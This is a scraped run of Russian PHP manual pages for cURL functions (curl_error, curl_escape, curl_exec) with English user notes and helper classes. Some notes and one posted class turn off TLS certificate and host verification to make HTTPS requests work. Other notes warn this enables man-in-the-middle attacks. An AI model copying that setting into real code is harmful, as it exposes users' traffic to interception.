[65] => 'CURLE_SEND_FAIL_REWIND',
[66] => 'CURLE_SSL_ENGINE_INITFAILED',
[67] => 'CURLE_LOGIN_DENIED',
[68] => 'CURLE_TFTP_NOTFOUND',
[69] => 'CURLE_TFTP_PERM',
[70] => 'CURLE_REMOTE_DISK_FULL',
[71] => 'CURLE_TFTP_ILLEGAL',
[72] => 'CURLE_TFTP_UNKNOWNID',
[73] => 'CURLE_REMOTE_FILE_EXISTS',
[74] => 'CURLE_TFTP_NOSUCHUSER',
[75] => 'CURLE_CONV_FAILED',
[76] => 'CURLE_CONV_REQD',
[77] => 'CURLE_SSL_CACERT_BADFILE',
[78] => 'CURLE_REMOTE_FILE_NOT_FOUND',
[79] => 'CURLE_SSH',
[80] => 'CURLE_SSL_SHUTDOWN_FAILED',
[81] => 'CURLE_AGAIN',
[82] => 'CURLE_SSL_CRL_BADFILE',
[83] => 'CURLE_SSL_ISSUER_ERROR',
[84] => 'CURLE_FTP_PRET_FAILED',
[84] => 'CURLE_FTP_PRET_FAILED',
[85] => 'CURLE_RTSP_CSEQ_ERROR',
[86] => 'CURLE_RTSP_SESSION_ERROR',
[87] => 'CURLE_FTP_BAD_FILE_LIST',
[88] => 'CURLE_CHUNK_FAILED');

?>
bozo_z_clown at yahoo dot com 14-Jun-2009 03:40
Note that you can detect errors using curl_multi_info_read() in the curl_multi_exec() loop that don't show up later using curl_errno().  This seems particularly true of connection errors.
Jacques Manukyan 28-Dec-2007 08:43
The error codes come directly from the curl source code. Specifically, look at the curl.h file and it will tell you exactly what each returned code does.

Most of these codes are cryptic but at least you can get a clue as to what the errors are.

Here is a quick snippet of what the errors in the curl.h look like:

  CURLE_OK = 0,
  CURLE_UNSUPPORTED_PROTOCOL,    /* 1 */
  CURLE_FAILED_INIT,             /* 2 */
  CURLE_URL_MALFORMAT,           /* 3 */
  CURLE_URL_MALFORMAT_USER,      /* 4 - NOT USED */
  CURLE_COULDNT_RESOLVE_PROXY,   /* 5 */
  CURLE_COULDNT_RESOLVE_HOST,    /* 6 */
  CURLE_COULDNT_CONNECT,         /* 7 */
  CURLE_FTP_WEIRD_SERVER_REPLY,  /* 8 */

Note that code 0 means its not an error, it means success.


Возвращает строку с описанием последней ошибки текущего сеанса

  • « curl_errno
  • curl_escape »
  • PHP Manual
  • Функции cURL
  • Возвращает строку с описанием последней ошибки текущего сеанса

curl_error

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

curl_error — Возвращает строку с описанием последней ошибки текущего сеанса

Описание

curl_error(CurlHandle $handle): string

Возвращает понятное сообщение об ошибке для последней операции cURL.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

Возвращаемые значения

Возвращает сообщение об ошибке или '' (пустую строку), если ошибки не произошло.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Пример использования curl_error()

<?php
// Создаём дескриптор curl к несуществующему адресу
$ch = curl_init('http://404.php.net/');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

if(curl_exec($ch) === false)
{
echo 'Ошибка curl: ' . curl_error($ch);
}
else
{
echo 'Операция завершена без каких-либо ошибок';
}

// Закрываем дескриптор
curl_close($ch);
?>

Смотрите также

  • curl_errno() - Возвращает код последней ошибки
  • » Коды ошибок cURL

User Contributed Notes

Anonymous 18-Jan-2021 08:40
If you're using curl_multi and there's an error, curl_error() will remain empty until you've called curl_multi_info_read(). That function "pumps" the information inside the curl libraries to the point where curl_error() will return a useful string.

This should really be added to the documentation, because it's not at all obvious.
anrdaemon at freemail dot ru 04-Mar-2019 08:05
curl_error is not a textual representation of curl_errno.
It's an actual error *message*.
If you want textual representation of error *code*, look for curl_strerror.
patrick at ibuildings dot nl 03-May-2013 11:13
If you want to fetch the error message, make sure you fetch it before you close the current cURL session or the error message will be reset to an empty string.
paul at paulmcgarry dot com 24-Nov-2008 05:00
For a 404 response to actually trigger an error as the example seems to be trying to demonstrate the following option should be set:

curl_setopt($ch,CURLOPT_FAILONERROR,true);

As per http://curl.haxx.se/libcurl/c/libcurl-errors.html

CURLE_HTTP_RETURNED_ERROR (22)
This is returned if CURLOPT_FAILONERROR is set TRUE and the HTTP server returns an error code that is >= 400. (This error code was formerly known as CURLE_HTTP_NOT_FOUND.)


Кодирует заданную строку как URL

  • « curl_error
  • curl_exec »
  • PHP Manual
  • Функции cURL
  • Кодирует заданную строку как URL

curl_escape

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

curl_escape — Кодирует заданную строку как URL

Описание

curl_escape(CurlHandle $handle, string $string): string|false

Кодирует строку согласно » RFC 3986.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

string

Строка для кодирования.

Возвращаемые значения

Возвращает экранированную строку или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Пример использования curl_escape()

<?php
// Создаём обработчик curl
$ch = curl_init();

// Экранируем строку, которую хотим передать методом GET
$location = curl_escape($ch, 'Hofbrauhaus / Munchen');
// Результат: Hofbr%C3%A4uhaus%20%2F%20M%C3%BCnchen

// Собираем URL по частям
$url = "http://example.com/add_location.php?location={$location}";
// Результат: http://example.com/add_location.php?location=Hofbr%C3%A4uhaus%20%2F%20M%C3%BCnchen

// Посылаем запрос HTTP и закрываем обработчик
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
?>

Смотрите также

  • curl_unescape() - Декодирует закодированную URL-строку
  • urlencode() - URL-кодирование строки
  • rawurlencode() - URL-кодирование строки согласно RFC 3986
  • » RFC 3986

User Contributed Notes

sam dot tyurenkov at gmail dot com 24-May-2020 12:19
Please someone add an example for escaping ampersands between parameters.

E.g. what is the correct approach for using this URL with curl:
https://example.com/?p1=1&p2=2&p3=3

This is not obvious, and needs explanation.
Franois 10-Oct-2014 09:45
This function is strictly equivalent to rawurlencode().

Internally it uses curl_easy_escape() from libcurl, whose doc says: "This function converts the given input string to an URL encoded string (...). All input characters that are not a-z, A-Z, 0-9, '-', '.', '_' or '~' are converted to their "URL escaped" version (%NN where NN is a two-digit hexadecimal number)."
Nico 29-Sep-2014 01:51
What is difference between this function and urlencode()?


Выполняет запрос cURL

  • « curl_escape
  • curl_getinfo »
  • PHP Manual
  • Функции cURL
  • Выполняет запрос cURL

curl_exec

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

curl_exec — Выполняет запрос cURL

Описание

curl_exec(CurlHandle $handle): string|bool

Выполняет запрос cURL.

Эта функция должна вызываться после инициализации сеанса и установки всех необходимых параметров.

Список параметров

handle

Дескриптор cURL, полученный из curl_init().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки. Однако, если установлена опция CURLOPT_RETURNTRANSFER, при успешном завершении будет возвращён результат, а при неудаче - false.

Внимание

Эта функция может возвращать как логическое значение false, так и значение не типа boolean, которое приводится к false. За более подробной информацией обратитесь к разделу Булев тип. Используйте оператор === для проверки значения, возвращаемого этой функцией.

Замечание:

Обратите внимание, что коды состояния ответа, указывающие на ошибки (например, 404 Not found), не рассматриваются как неудача. Функция curl_getinfo() может использоваться для проверки таких ошибок.

Список изменений

Версия | Описание
8.0.0 | handle теперь ожидает экземпляр CurlHandle; раньше, ожидался ресурс (resource).

Примеры

Пример #1 Загрузка веб-страницы

<?php
// создание нового cURL ресурса
$ch = curl_init();

// установка URL и других необходимых параметров
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// загрузка страницы и выдача её браузеру
curl_exec($ch);

// завершение сеанса и освобождение ресурсов
curl_close($ch);
?>

Смотрите также

  • curl_multi_exec() - Запускает подсоединения текущего дескриптора cURL

User Contributed Notes

jpatta at digitalgamesystems dot com 25-Mar-2021 03:21
If you are looking the debug curl_exec, you may wish to log its details, and analyze the various time points during its execution.

before curl_exec:

<?php
    // this will produce a curl log
    curl_setopt($curl, CURLOPT_VERBOSE, true);
    curl_setopt($curl, CURLOPT_STDERR, fopen('/your/writable/app/logdir/curl.log', 'a+')); // a+ to append...
?>

after curl_exec, but before curl_close:

<?php
    // this will extract the timing information
    extract(curl_getinfo($curl)); // create metrics variables from getinfo
    $appconnect_time = curl_getinfo($curl, CURLINFO_APPCONNECT_TIME); // request this time explicitly
    $downloadduration = number_format($total_time - $starttransfer_time, 9); // format, to get rid of scientific notation
    $namelookup_time = number_format($namelookup_time, 9);
    $metrics = "CURL...: $url Time...: $total_time DNS: $namelookup_time Connect: $connect_time SSL/SSH: $appconnect_time PreTransfer: $pretransfer_time StartTransfer: $starttransfer_time Download: $downloadduration";
    error_log($metrics);  // write to php-fpm default www-error.log, or append it to same log as above with file_put_contents(<filename>, $metrics, FILE_APPEND)
?>

Happy debugging
Roland 16-Nov-2020 05:55
To check for a timeout or error -

 if (!$responsexml || !is_string($responsexml) || !strlen($responsexml) || strpos($responsexml, 'upstream request timeout') !== false) {
            return $this->sendRequest($request, $headers);
        }
turiyag 25-May-2017 05:07
Don't disable SSL verification! You don't need to, and it's super easy to stay secure! If you found that turning off "CURLOPT_SSL_VERIFYHOST" and "CURLOPT_SSL_VERIFYPEER" solved your problem, odds are you're just on a Windows box. Takes 2 min to solve the problem. Walkthrough here:

https://snippets.webaware.com.au/howto/stop-turning-off-curlopt_ssl_verifypeer-and-fix-your-php-config/
bimal at sanjaal dot com 26-Mar-2016 07:33
If you are accessing HTTPS URLs and you do not receive any contents, try to disable verifying SSL.

<?php
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
?>
hablutzel1 at gmail dot com 24-May-2014 05:04
Be always aware that CURLOPT_SSL_VERIFYPEER set to FALSE or 0 should never be used for production as it makes the link inmediately vulnerable to man-in-the-middle attack, still you can use it during development, but I would suggest that only if you KNOW what are you doing, otherwise spend some more time making requests to HTTPS sites work without resorting to set that option to FALSE or 0.
Manu Manjunath 12-Dec-2013 01:24
If you want to get contents of a page through HTTP GET or POST,  you can write a small function like below.

<?php
/**
 * Read entire contents of a URL in a string
 * @param string $url URL to fetch data from
 * @param mixed $params Parameters to the URL, typically an array. In case of POST, can be a string
 * @param string $method HTTP method - can be 'GET' (default) or 'POST'
 * @return mixed Contents of the webpage. Returns <i>false</i> in case of failure.
 */
function url_get_contents($url, $params = null, $method = 'GET') {
    $contents = false;
    if (!in_array($method, array('GET', 'POST'))) {
        error_log(__FUNCTION__ . ": Unknown method '$method'");
        return false;
    }
    if ($method == 'GET') {
        if (is_array($params) && count($params) > 0) {
            if ($params === array_values($params)) {
                error_log(__FUNCTION__ . ": Numerical array recieved for argument '\$params' (assoc array expected)");
                return false;
            }
            else {
                $url .= '?' . http_build_query($params);
            }
        }
        elseif (!is_null($params)) {
            error_log(__FUNCTION__ . ": If you're making a GET request, argument \$params must be null or assoc array.");
            return false;
        }
    }
    $ch = curl_init($url);
    if ($ch !== false) {
        curl_setopt_array($ch, array(
            CURLOPT_HEADER => false,
            CURLOPT_RETURNTRANSFER => true,
        ));
        if ($method == 'POST') {
            curl_setopt($ch, CURLOPT_POST, true);
            if (is_string($params) || is_array($params)) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
            }
            else {
                error_log(__FUNCTION__ . ": Argument \$params should be an array of parameters or (if you want to send raw data) a string");
                return false;
            }
        }
        $contents = curl_exec($ch);
        curl_close($ch);
    }
    return $contents;
}
bertram dot pereira at gmail dot com 05-Aug-2012 11:48
There will be times when you need to get the response from curl_exec and capture the transfer - this is not very well documented but you can do so with the CURLOPT_RETURNTRANSFER Option

curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

Bert
tolas777 at gmail dot com 11-Feb-2011 08:27
I was having a problem, for almost a week, of curl_exec() freezing/hanging when I made a request with it to a page that spends over an hour converting a large video file, and only afterwards sends control-data back to the calling script.

I'm using windows 7, WampServer-2.1d-64.exe, PHP 5.3.4, libcurl-7.21.3.

Here's the final solution;

On Fri, Feb 11, 2011 at 1:32 PM, Daniel Stenberg <daniel-of-haxx.se> wrote:
> On Fri, 11 Feb 2011, Tolas Anon wrote:
>
>>> It is also very easy for an application to enable the options as I've
>>> shown.
>>
>> Just not for the platforms i use, apparently.. :(
>
> Why not? A quick search for "tcp keepalive windows" shows this:
> http://msdn.microsoft.com/en-us/library/ms819735.aspx

This fixed my problem in the simple test AND in my application!
No need to send keep-alive bytes on the text/html level either.

I just added the "KeepAliveTime" setting with windows 7 regedit.exe in
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services/Tcpip, as a
REG_DWORD value, set it to decimal 25000 (so 25 seconds), rebooted,
and it all works as i want it now..

Note that windows registry entries key names are case-sensitive, wrong
casing and they'll be deleted on restart.

Lots of thanks, Daniel. I would've never solved this on my own..

------------------------------------------------------
(now useless) details at:

http://curl.haxx.se/mail/lib-2011-02/0101.html

http://readlist.com/lists/lists.php.net/php-general/16/81195.html
David from Code2Design.com 27-Jun-2010 07:44
Just in case anyone is looking for a a couple of simple functions [to help automate cURL processes for POST and GET queries] I thought I'd post these.

<?php

/**
 * Send a POST requst using cURL
 * @param string $url to request
 * @param array $post values to send
 * @param array $options for cURL
 * @return string
 */
function curl_post($url, array $post = NULL, array $options = array())
{
    $defaults = array(
        CURLOPT_POST => 1,
        CURLOPT_HEADER => 0,
        CURLOPT_URL => $url,
        CURLOPT_FRESH_CONNECT => 1,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FORBID_REUSE => 1,
        CURLOPT_TIMEOUT => 4,
        CURLOPT_POSTFIELDS => http_build_query($post)
    );

    $ch = curl_init();
    curl_setopt_array($ch, ($options + $defaults));
    if( ! $result = curl_exec($ch))
    {
        trigger_error(curl_error($ch));
    }
    curl_close($ch);
    return $result;
}

/**
 * Send a GET requst using cURL
 * @param string $url to request
 * @param array $get values to send
 * @param array $options for cURL
 * @return string
 */
function curl_get($url, array $get = NULL, array $options = array())
{
    $defaults = array(
        CURLOPT_URL => $url. (strpos($url, '?') === FALSE ? '?' : ''). http_build_query($get),
        CURLOPT_HEADER => 0,
        CURLOPT_RETURNTRANSFER => TRUE,
        CURLOPT_TIMEOUT => 4
    );

    $ch = curl_init();
    curl_setopt_array($ch, ($options + $defaults));
    if( ! $result = curl_exec($ch))
    {
        trigger_error(curl_error($ch));
    }
    curl_close($ch);
    return $result;
}
?>
ivanargulo at NOSPAM gmail dot com 12-Feb-2010 03:41
If having problems with special chars or entities (like a, a, a, etc.), using the ISO encode, just decode the values given with the function utf8_decode().

For example:

The returned string is the following:

<xml><name>IvA?n</name></xml>

Using utf8_decode, the result in ISO is

<xml><name>Ivan</name></xml>
petermiller1986[nospam] at gmail dot com 30-Jul-2009 01:57
so far i have not come across any code or library file that will
extract cookie information from a http header, so i've written
one.

there are two files:
file1.php - acts as server and sets the cookies
file2.php - acts as browser and retrieves the cookies set by file1

/*****file1.php****/
<?php
/*set 3 cookies at the end of the execution of this script*/

setcookie("cookie1","cookie 1 data", time() - 123123);
setcookie("cookie2","cookie 2 data", time() + 54326);
setcookie("cookie3","cookie 3 data", time());
?>
/****end file1.php**/

/*****file2.php****/
<?php
$url = "http://[host][uri]/file1.php"; /*insert desired host and
uri*/
$browser_id = "some crazy browser";
$curl_handle = curl_init();
$options = array
(
    CURLOPT_URL=>$url,
    CURLOPT_HEADER=>true,
    CURLOPT_RETURNTRANSFER=>true,
    CURLOPT_FOLLOWLOCATION=>true,
    CURLOPT_USERAGENT=>$browser_id
);
curl_setopt_array($curl_handle,$options);
$server_output = curl_exec($curl_handle);
curl_close($curl_handle);

/*construct the http search pattern for cookies*/
$pattern  = "/Set-Cookie:";
$pattern .= "(?P<name>.*?)=(?P<value>.*?); ";
$pattern .= "expires=(?P<expiry_dayname>\w+), ";
$pattern .= "(?P<expiry_day>\d+)-
(?P<expiry_month>\w+)-(?P<expiry_year>\d+) ";
$pattern .= "(?P<expiry_hour>\d+):
(?P<expiry_minute>\d+):(?P<expiry_second>\d+) ";
$pattern .= "(?P<expiry_zone>\w+)/";
preg_match_all($pattern,$server_output,$matches);

$table_string = "
<h1>cookie information table</h1>
<table border='1'>
    <tr>
        <td>cookie name</td>
        <td>value</td>
        <td>expiry day</td>
        <td>expiry date</td>
        <td>expiry time</td>
        <td>expiry timezone</td>
    </tr>
";
$i=0;
foreach($matches[name] as $cookie_name)
{
    $table_string .= "
    <tr>
        <td>$cookie_name</td>

        <td>{$matches[value][$i]}</td>

        <td>{$matches[expiry_dayname][$i]}</td>

        <td>{$matches[expiry_day][$i]}-
        {$matches[expiry_month][$i]}-
        {$matches[expiry_year][$i]}</td>

        <td>{$matches[expiry_hour][$i]}:
        {$matches[expiry_minute][$i]}:
        {$matches[expiry_second][$i]}</td>

        <td>{$matches[expiry_zone][$i]}</td>
    </tr>
    ";
    $i++;
}
$table_string .= "</table>";
echo $table_string;
?>
/****end file2.php**/

i based this code on the following http header:
(obtained by going: echo $server_output; in file2.php)

HTTP/1.1 200 OK Date: Thu, 30 Jul 2009 07:10:07 GMT
Server: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11
OpenSSL/0.9.8i PHP/5.2.9 X-Powered-By: PHP/5.2.9
Set-Cookie: cookie1=cookie+1+data; expires=Wed,
29-Jul-2009 03:23:27 GMT Set-Cookie
cookie2=cookie+2+data; expires=Wed, 29-Jul-2009 03:23:27
GMT Set-Cookie: cookie3=cookie+3+data; expires=Wed,
29-Jul-2009 03:23:27 GMT Content-Length: 196
Content-Type: text/html

if your header differs from this one then $pattern in file2.php
will need to be modified accordingly. hopefully this code will save
you a lot of time though!
lmshad at wp dot pl dot foo dot bar 29-Jul-2008 10:14
example:
   echo CurlTool::fetchContent('www.onet.pl');
   CurlTool::downloadFile('http://download.gadu-gadu.pl/gg77.exe', 'c:/');

<?php
error_reporting(E_STRICT | E_ALL);
class CurlTool {
    public static $userAgents = array(
        'FireFox3' => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0',
        'GoogleBot' => 'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
        'IE7' => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
        'Netscape' => 'Mozilla/4.8 [en] (Windows NT 6.0; U)',
        'Opera' => 'Opera/9.25 (Windows NT 6.0; U; en)'
        );
    public static $options = array(
        CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9) Gecko/2008052906 Firefox/3.0',
        CURLOPT_AUTOREFERER => true,
        CURLOPT_COOKIEFILE => '',
        CURLOPT_FOLLOWLOCATION => true
        );

    private static $proxyServers = array();
    private static $proxyCount = 0;
    private static $currentProxyIndex = 0;

    public static function addProxyServer($url) {
        self::$proxyServers[] = $url;
        ++self::$proxyCount;
    }

    public static function fetchContent($url, $verbose = false) {
        if (($curl = curl_init($url)) == false) {
            throw new Exception("curl_init error for url $url.");
        }

        if (self::$proxyCount > 0) {
            $proxy = self::$proxyServers[self::$currentProxyIndex++ % self::$proxyCount];
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
            if ($verbose === true) {
                echo "Reading $url [Proxy: $proxy] ... ";
            }
        } else if ($verbose === true) {
            echo "Reading $url ... ";
        }

        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt_array($curl, self::$options);

        $content = curl_exec($curl);
        if ($content === false) {
            throw new Exception("curl_exec error for url $url.");
        }

        curl_close($curl);
        if ($verbose === true) {
            echo "Done.\n";
        }

        $content = preg_replace('#\n+#', ' ', $content);
        $content = preg_replace('#\s+#', ' ', $content);

        return $content;
    }

    public static function downloadFile($url, $fileName, $verbose = false) {
        if (($curl = curl_init($url)) == false) {
            throw new Exception("curl_init error for url $url.");
        }

        if (self::$proxyCount > 0) {
            $proxy = self::$proxyServers[self::$currentProxyIndex++ % self::$proxyCount];
            curl_setopt($curl, CURLOPT_PROXY, $proxy);
            if ($verbose === true) {
                echo "Downloading $url [Proxy: $proxy] ... ";
            }
        } else if ($verbose === true) {
            echo "Downloading $url ... ";
        }

        curl_setopt_array($curl, self::$options);

        if (substr($fileName, -1) == '/') {
            $targetDir = $fileName;
            $fileName = tempnam(sys_get_temp_dir(), 'c_');
        }
        if (($fp = fopen($fileName, "wb")) === false) {
            throw new Exception("fopen error for filename $fileName");
        }
        curl_setopt($curl, CURLOPT_FILE, $fp);

        curl_setopt($curl, CURLOPT_BINARYTRANSFER, true);
        if (curl_exec($curl) === false) {
            fclose($fp);
            unlink($fileName);
            throw new Exception("curl_exec error for url $url.");
        } elseif (isset($targetDir)) {
            $eurl = curl_getinfo($curl, CURLINFO_EFFECTIVE_URL);
            preg_match('#^.*/(.+)$#', $eurl, $match);
            fclose($fp);
            rename($fileName, "$targetDir{$match[1]}");
            $fileName = "$targetDir{$match[1]}";
        } else {
            fclose($fp);
        }

        curl_close($curl);
        if ($verbose === true) {
            echo "Done.\n";
        }
        return $fileName;
    }
}
?>
alan at forsyth dot cz 06-Jun-2008 03:59
Great class Roman - just one fix:

Replace the following line:
<?php
if (isset($params['host']) && $params['host'])      $header[]="Host: ".$host;
?>

with this:
<?php
if (isset($params['host']) && $params['host'])      $header[]="Host: " . $params['host'];
?>

CURL automatically creates the host parameter (since it is required for HTTP/1.1 requests), so you don't need to set it. But if you created a custom host parameter, the above bug would cause a '400 Bad Request' response due to invalid host specified.

Also when copying and pasting the class code, make sure that no line breaks occur (for example in the $header and $user_agent definitions etc.). It will still be valid PHP, but the HTTP request will not be valid, and you may get a '400 Bad Request' response from the server.

It took me a little playing around with an HTTP Sniffer before I finally got an HTTP POST request fully working!

Thanks,
Alan
roman dot ivasyuk at gmail dot com 16-Jan-2008 04:11
<?php
class CurlRequest
{
    private $ch;
    /**
     * Init curl session
     *
     * $params = array('url' => '',
     *                    'host' => '',
     *                   'header' => '',
     *                   'method' => '',
     *                   'referer' => '',
     *                   'cookie' => '',
     *                   'post_fields' => '',
     *                    ['login' => '',]
     *                    ['password' => '',]
     *                   'timeout' => 0
     *                   );
     */
    public function init($params)
    {
        $this->ch = curl_init();
        $user_agent = 'Mozilla/5.0 (Windows; U;
Windows NT 5.1; ru; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9';
        $header = array(
        "Accept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
        "Accept-Language: ru-ru,ru;q=0.7,en-us;q=0.5,en;q=0.3",
        "Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7",
        "Keep-Alive: 300");
        if (isset($params['host']) && $params['host'])      $header[]="Host: ".$host;
        if (isset($params['header']) && $params['header']) $header[]=$params['header'];

        @curl_setopt ( $this -> ch , CURLOPT_RETURNTRANSFER , 1 );
        @curl_setopt ( $this -> ch , CURLOPT_VERBOSE , 1 );
        @curl_setopt ( $this -> ch , CURLOPT_HEADER , 1 );

        if ($params['method'] == "HEAD") @curl_setopt($this -> ch,CURLOPT_NOBODY,1);
        @curl_setopt ( $this -> ch, CURLOPT_FOLLOWLOCATION, 1);
        @curl_setopt ( $this -> ch , CURLOPT_HTTPHEADER, $header );
        if ($params['referer'])    @curl_setopt ($this -> ch , CURLOPT_REFERER, $params['referer'] );
        @curl_setopt ( $this -> ch , CURLOPT_USERAGENT, $user_agent);
        if ($params['cookie'])    @curl_setopt ($this -> ch , CURLOPT_COOKIE, $params['cookie']);

        if ( $params['method'] == "POST" )
        {
            curl_setopt( $this -> ch, CURLOPT_POST, true );
            curl_setopt( $this -> ch, CURLOPT_POSTFIELDS, $params['post_fields'] );
        }
        @curl_setopt( $this -> ch, CURLOPT_URL, $params['url']);
        @curl_setopt ( $this -> ch , CURLOPT_SSL_VERIFYPEER, 0 );
        @curl_setopt ( $this -> ch , CURLOPT_SSL_VERIFYHOST, 0 );
        if (isset($params['login']) & isset($params['password']))
            @curl_setopt($this -> ch , CURLOPT_USERPWD,$params['login'].':'.$params['password']);
        @curl_setopt ( $this -> ch , CURLOPT_TIMEOUT, $params['timeout']);
    }

    /**
     * Make curl request
     *
     * @return array  'header','body','curl_error','http_code','last_url'
     */
    public function exec()
    {
        $response = curl_exec($this->ch);
        $error = curl_error($this->ch);
        $result = array( 'header' => '',
                         'body' => '',
                         'curl_error' => '',
                         'http_code' => '',
                         'last_url' => '');
        if ( $error != "" )
        {
            $result['curl_error'] = $error;
            return $result;
        }

        $header_size = curl_getinfo($this->ch,CURLINFO_HEADER_SIZE);
        $result['header'] = substr($response, 0, $header_size);
        $result['body'] = substr( $response, $header_size );
        $result['http_code'] = curl_getinfo($this -> ch,CURLINFO_HTTP_CODE);
        $result['last_url'] = curl_getinfo($this -> ch,CURLINFO_EFFECTIVE_URL);
        return $result;
    }
}
?>

Example of use:
<?php
..........
try
        {
            $params = array('url' => 'http://www.google.com',
            'host' => '',
            'header' => '',
            'method' => 'GET', // 'POST','HEAD'
            'referer' => '',
            'cookie' => '',
            'post_fields' => '', // 'var1=value&var2=value
            'timeout' => 20
            );

            $this->curl->init($params);
            $result = $this->curl->exec();
            if ($result['curl_error'])    throw new Exception($result['curl_error']);
            if ($result['http_code']!='200')    throw new Exception("HTTP Code = ".$result['http_code']);
            if (!$result['body'])        throw new Exception("Body of file is empty");
            ...............
        }
        catch (Exception $e)
        {
                    echo $e->getMessage();
        }
?>
me at lawrencemok dot com 03-Dec-2007 11:52
Note that when you use CURL to POST things....e.g:

curl_setopt($ch, CURLOPT_POSTFIELDS, "string=This is a string");

The data part (e.g. "This is a string") inside the 3rd parameter should be applied with urlencode()

Otherwise, if you intend to send a string like "%2F", you will end up with a "/" on the receiving end, which can cause troubles. (e.g. serialize() data cannot be unserialize() becase of the change in string length).
test at test dot com 13-Aug-2007 06:43
If you see a "0" at the end of the output, you might want to switch to HTTP/1.0:

curl_setopt($ch, CURLOPT_HTTP_VERSION, 1.0);
lukasl at ackleymedia dot com 06-Oct-2006 07:52
Thank you for sharing this.  I was wondering why my result was 1.

To get around this in a safe way, this is how I check if the result is valid.

$ch = curl_init(); /// initialize a cURL session
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, true);
$xmlResponse = curl_exec ($ch);
curl_close ($ch);

if (!is_string($xmlResponse) || !strlen($xmlResponse)) {
    return $this->_set_error( "Failure Contacting Server" );
} else {
    return $xmlResponse;
}
04-Oct-2006 01:41
Be careful when using curl_exec() and the CURLOPT_RETURNTRANSFER option. According to the manual and assorted documentation:
Set CURLOPT_RETURNTRANSFER to TRUE to return the transfer as a string of the return value of curl_exec() instead of outputting it out directly.

When retrieving a document with no content (ie. 0 byte file), curl_exec() will return bool(true), not an empty string. I've not seen any mention of this in the manual.

Example code to reproduce this:
<?php

    // fictional URL to an existing file with no data in it (ie. 0 byte file)
    $url = 'http://www.example.com/empty_file.txt';

    $curl = curl_init();

    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_HEADER, false);

    // execute and return string (this should be an empty string '')
    $str = curl_exec($curl);

    curl_close($curl);

    // the value of $str is actually bool(true), not empty string ''
    var_dump($str);

?>
J?rgen Tjern? 08-Mar-2005 06:12
If you've got problems with curl_exec not working, you should rather check curl_errno and curl_error than using commandline curl, like so:

(since this is easier, and also allows you to check for errors runtime, which is a vital part of any well-design piece of code. ;)

<?php
$creq = curl_init();
curl_setopt($creq, CURLOPT_URL, "http://www.foo.internal");
curl_exec($creq);

/* To quote curl_errno documentation:
     Returns the error number for the last cURL operation on the resource ch, or 0 (zero) if no error occurred. */
if (curl_errno($creq)) {
    print curl_error($creq);
} else {
    curl_close($creq);
}
?>
nagyp at hunaxon dot hu 26-Apr-2003 05:22
fyi:
It returns false if there's an error while executing the curl session, no matter how CURLOPT_RETURNTRANSFER is set.
colins at infofind dot com 24-Apr-2002 04:42
Checking the source, curl_exec seems to return FALSE on failure, TRUE on success (unless CURLOPT_RETURNTRANSFER is set 1, and then it returns the returned data).
ppruett at webengr dot com 28-Feb-2002 07:06
fyi - if you are having problems getting a
webpage to display in your webpage with
curl_setopt(CURLOPT_RETURNTRANSFER, 1);
due to version bugginess perhaps,
you may can use output control functions
like this to show a web page
inside your webpage:

<html><head><title>whatever</title></head>
<body>
<script language="php">
$ch = curl_init("http://www.cocoavillage.com/");
// use output buffering instead of returntransfer -itmaybebuggy
ob_start();
curl_exec($ch);
curl_close($ch);
$retrievedhtml = ob_get_contents();
ob_end_clean();
// if you intend to print this page with meta tags, better clear out any expiration tag
//    $result = preg_replace('/(?s)<meta http-equiv="Expires"[^>]*>/i', '', $retrievedhtml);
// for now I just want what is between the body tags so need
// somehow cut the header footer
$bodyandend = stristr($retrievedhtml,"<body");
// not needed- $positionstartbodystring = strlen($retrievedhtml)-strlen($bodyandend);
$positionendstartbodytag = strpos($bodyandend,">") + 1;
// got to change all to lowercase temporarily
// because end body may be upperlowercasemix
// to bad strirstr does not exist
$temptofindposition=strtolower($bodyandend);
$positionendendbodytag=strpos($temptofindposition,"</body");
//now to get the endbetween body tags
$grabbedbody=substr($bodyandend,
     $positionendstartbodytag,
           $positionendendbodytag);
//be sure to fix syntax broke by display on phpwebsite... like above line
print("$grabbedbody");
</script>
</body></html>

tada
csaba at alum dot mit dot edu 22-May-2001 01:06
